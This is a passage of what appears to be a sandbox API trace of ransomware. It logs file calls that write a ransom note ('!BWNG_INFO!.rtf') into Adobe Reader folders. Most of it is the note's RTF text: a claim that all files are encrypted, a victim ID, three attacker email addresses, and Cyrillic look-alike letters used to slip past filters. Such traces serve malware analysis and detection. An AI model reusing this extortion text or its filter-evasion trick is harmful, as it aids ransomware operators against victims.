h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.568] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.569] CloseHandle (hObject=0x1cc) returned 1 [0040.569] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\!bwng_info!.rtf")) returned 0xffffffff [0040.569] GetLastError () returned 0x2 [0040.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 